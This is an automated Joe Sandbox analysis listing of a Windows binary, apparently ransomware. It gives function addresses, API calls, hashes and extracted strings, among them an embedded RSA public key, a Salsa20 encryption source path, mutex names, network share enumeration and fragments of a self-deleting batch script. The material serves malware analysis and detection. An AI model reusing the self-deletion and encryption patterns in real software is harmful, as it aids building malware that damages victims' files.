Instruction Fuzzy Hash: 9921F4B5A00115DBCF14DF5CD981B5ABFA9EF45710F04826AE8059F349D738EA14CBE1

Function 0079FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0079FA25

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: e96997210a74ed846b9ee24df39470bc2d10deb4f5787b90681f4edab5500bf1
Instruction ID: 5e43c697c79972d1f6e2d4d616d80d8b1f58cebc2cf4d1b80041b0b7b50d2091
Opcode Fuzzy Hash: e96997210a74ed846b9ee24df39470bc2d10deb4f5787b90681f4edab5500bf1
Instruction Fuzzy Hash: 39D0A7723893147BE7140A99AC07F877ACCDF15B10F00403AF609DA1C0D5E1F81086D8

Function 0079FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00790BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00790C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0079FDA4

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 70d73055c52fd9fee799e43267805ba53250c582203b7cd5b398342407266084
Instruction ID: 5545301eed84b9d94e73783313a5875fef34a03196363ab8eb439ed94de15a6d
Opcode Fuzzy Hash: 70d73055c52fd9fee799e43267805ba53250c582203b7cd5b398342407266084
Instruction Fuzzy Hash: 03E0C231104300AAD7209B64DC05B82BBC89F19724F00C819E28A6BA81C5A1B00487E9

Function 0079FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,008A9230), ref: 0079FDD6

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 40a511a0ad0dbe1b82b7c4041763d722640f5e3a42457c5a462f0e3bdc4768bd
Instruction ID: f279a42115829affe0ad80ec1176457838a8437e084b0829818e5fd79232e676
Opcode Fuzzy Hash: 40a511a0ad0dbe1b82b7c4041763d722640f5e3a42457c5a462f0e3bdc4768bd
Instruction Fuzzy Hash: 68D0C97138A30577E7040BA9AC17F4A3A98A71AB00F404025F659D95D0DAA1A4109A5C

Function 007A3B43 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 007A3B64

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,?,?,?,007B0E81,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0CA5

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 010dcc57d92fa0cd9651ae2744f853fc3b928deaf982816dbf39e73e4abed871
Instruction ID: 8162d85cb748650dd060681a142d49a940b071be5de06b1d5f5507772a76362b
Opcode Fuzzy Hash: 010dcc57d92fa0cd9651ae2744f853fc3b928deaf982816dbf39e73e4abed871
Instruction Fuzzy Hash: 1FC08C69A4090AC65E31AE2C9A5787676579B83360B4407CAFC1C49873EF3ACA3495B3

Function 007A20B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 007A20C1

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 3f54d17f97d85216fd628066ba6f79b194bfb493cf910a42f2a119f5900fa314
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: C4B0927244020CBBDF012E82EC02A493B1D9B91760F448020FB0C18161E6BBE6649689

Function 007A7F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 007A7F47

Part of subcall function 007A7E0E: __lock.LIBCMT ref: 007A7E1C
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(00887B08,0000001C,007A7CFB,00000000,00000001,00000000,?,007A7C49,000000FF,?,007A8B1A,00000011,00000000,?,007A50D7,0000000D), ref: 007A7E5B
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(?,007A7C49,000000FF,?,007A8B1A,00000011,00000000,?,007A50D7,0000000D), ref: 007A7E6C
Part of subcall function 007A7E0E: EncodePointer.KERNEL32(00000000,?,007A7C49,000000FF,?,007A8B1A,00000011,00000000,?,007A50D7,0000000D), ref: 007A7E85
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(-00000004,?,007A7C49,000000FF,?,007A8B1A,00000011,00000000,?,007A50D7,0000000D), ref: 007A7E95
Part of subcall function 007A7E0E: EncodePointer.KERNEL32(00000000,?,007A7C49,000000FF,?,007A8B1A,00000011,00000000,?,007A50D7,0000000D), ref: 007A7E9B
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(?,007A7C49,000000FF,?,007A8B1A,00000011,00000000,?,007A50D7,0000000D), ref: 007A7EB1
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(?,007A7C49,000000FF,?,007A8B1A,00000011,00000000,?,007A50D7,0000000D), ref: 007A7EBC

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: 0ab9c007bc1772c63d9a87c57d777ec34e1c9092f10b18b6f1ac05eaaf627034
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: 10B012719C830C73DA113641FC03F053B0C4781B50F200070FA0C1C1E1A593B96180C9

Function 007A0FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 007A0FE8

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 368a04565d264f4bbd77df22ba70f7617dd5e5e79b8e3375c1126db8e9e5595d
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: DEB0927244020CB7DE012A82EC02A4A3F199B826A0F408020FB0C18161A677A6A09A89

Non-executed Functions

Function 007B82A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,007B8568,?,00000000), ref: 007B82E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,007B8568,?,00000000), ref: 007B8310

Strings

ACP, xrefs: 007B82B3
OCP, xrefs: 007B82C4

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 650d47c9fc08d0a597c8fc2012f4961ffc915e841f98c1b56b6c8dea90cd13b5
Instruction ID: 4e40c5fd9a5d19b2aee5beae9fa36ad28fccbd205638bf053a9c56009248577a
Opcode Fuzzy Hash: 650d47c9fc08d0a597c8fc2012f4961ffc915e841f98c1b56b6c8dea90cd13b5
Instruction Fuzzy Hash: CF01B535205615AADBA0AF58DC09FDA37DCBF05B61F108015F908DB491EF78DA40C7D5

Function 00799E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00799EB8
_memset.LIBCMT ref: 00799EC9
_memset.LIBCMT ref: 00799EDA

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa, xrefs: 00799EC4

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa
API String ID: 2102423945-787598932
Opcode ID: b44f7b33165a287576fb780f8cb42cef1c0b1c722eb5868ba126793c569e8b78
Instruction ID: cb4b0392e1e6d0a1ac7359f477c8e94556ca5d6a901ad88bf51111633266ec6e
Opcode Fuzzy Hash: b44f7b33165a287576fb780f8cb42cef1c0b1c722eb5868ba126793c569e8b78
Instruction Fuzzy Hash: A6F06D70288380B9FB1077D0BC0BB153A92B31AB0AF080148E1641E3E3E3FD3348939A

Function 0078C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0078C09A

Strings

input != nullptr && output != nullptr, xrefs: 0078C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0078C090

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: e4f9bc9786b1f5833c9a85256619a48f6691e1b6a64fcadc2509b5ccafcb19b5
Instruction ID: 1dd5dc9becb3ef8f9ee00f8e9b47b873288cd9b0cf39dcfe9cd190e4087c0d71
Opcode Fuzzy Hash: e4f9bc9786b1f5833c9a85256619a48f6691e1b6a64fcadc2509b5ccafcb19b5
Instruction Fuzzy Hash: 54C19CB5E003099FCB54DFA9C885ADEFBF1FF48300F24856AE919E7201E334AA458B54

Function 007924E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 007924FE
GetLastError.KERNEL32 ref: 00792509
CloseHandle.KERNEL32 ref: 0079251C
CloseHandle.KERNEL32 ref: 00792539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00792550
GetLastError.KERNEL32 ref: 0079255B
CloseHandle.KERNEL32 ref: 0079256E

Strings

D, xrefs: 00792720
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 007924F5
"if exist ", xrefs: 00792648
TEMP, xrefs: 007925DF
@echo off:trydel ", xrefs: 0079262A
del ", xrefs: 00792674
delself.bat, xrefs: 0079261C
" goto try, xrefs: 00792666
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00792547

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 31fe24071dbaa64c0ff18f6e4b335f91ac7cec885b5794ba527c5a50842c48fd
Instruction ID: 0f00cd30f89f7206b1b206ca2730f8c9a1fc3eaf1a0741270b3e98d58d8f6669
Opcode Fuzzy Hash: 31fe24071dbaa64c0ff18f6e4b335f91ac7cec885b5794ba527c5a50842c48fd
Instruction Fuzzy Hash: 18717E76940218ABDF90EBE0EC89FEE77ACFB44705F100596F609E2151DB799A48CF60

Function 00791900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00791915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00791932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00791941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00791948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00791956
lstrcpyW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00791962
lstrcatW.KERNEL32(00000000, failed with error ,?,00000400,?,00000000,00000000), ref: 00791974
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 0079198B
lstrcatW.KERNEL32(00000000,00880260,?,00000400,?,00000000,00000000), ref: 00791993
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00791999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 007919A3
_memset.LIBCMT ref: 007919B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 007919DC

Part of subcall function 00792BA0: lstrlenW.KERNEL32(?), ref: 00792BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00791A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00791A04

Strings

failed with error , xrefs: 0079196E

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 4c7b36276f567d45ad46008d28cd2b9b3303d559a6de6991a964db416213875e
Instruction ID: 96dfa17e4fe04f196213155b48c196b22685831f68e15f87da6b5567d401d63a
Opcode Fuzzy Hash: 4c7b36276f567d45ad46008d28cd2b9b3303d559a6de6991a964db416213875e
Instruction Fuzzy Hash: 7A212935A41218FBEB516B609C4AF6E3A7CFF86B11F100015FA05B2291DF782D01DBE5

Function 008022E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007D49A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,007D4B72), ref: 007D49C7
Part of subcall function 007D49A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 007D49D7
Part of subcall function 007D49A0: GetDesktopWindow.USER32 ref: 007D49FB
Part of subcall function 007D49A0: GetProcessWindowStation.USER32(?,007D4B72), ref: 007D4A01
Part of subcall function 007D49A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,007D4B72), ref: 007D4A1C
Part of subcall function 007D49A0: GetLastError.KERNEL32(?,007D4B72), ref: 007D4A2A
Part of subcall function 007D49A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,007D4B72), ref: 007D4A65
Part of subcall function 007D49A0: _wcsstr.LIBCMT ref: 007D4A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00802316
CreateCompatibleDC.GDI32(00000000), ref: 00802323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00802338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00802341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0080234E
SelectObject.GDI32(00000000,00000000), ref: 0080235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0080236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 008023CA
GetBitmapBits.GDI32(?,?,00000000), ref: 008023D6
SelectObject.GDI32(?,?), ref: 00802436
DeleteObject.GDI32(00000000), ref: 0080243D
DeleteDC.GDI32(?), ref: 0080244A
DeleteDC.GDI32(?), ref: 00802450

Strings

DISPLAY, xrefs: 00802311
.\crypto\rand\rand_win.c, xrefs: 00802383

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 179c637945715962195db1e954cadece3e4495e7baaf76ba64eb61e19edb2cae
Instruction ID: 822e090c534d6fc79e019ce6b7606dafa63e90e746289f9b5abfed4b7d65ab04
Opcode Fuzzy Hash: 179c637945715962195db1e954cadece3e4495e7baaf76ba64eb61e19edb2cae
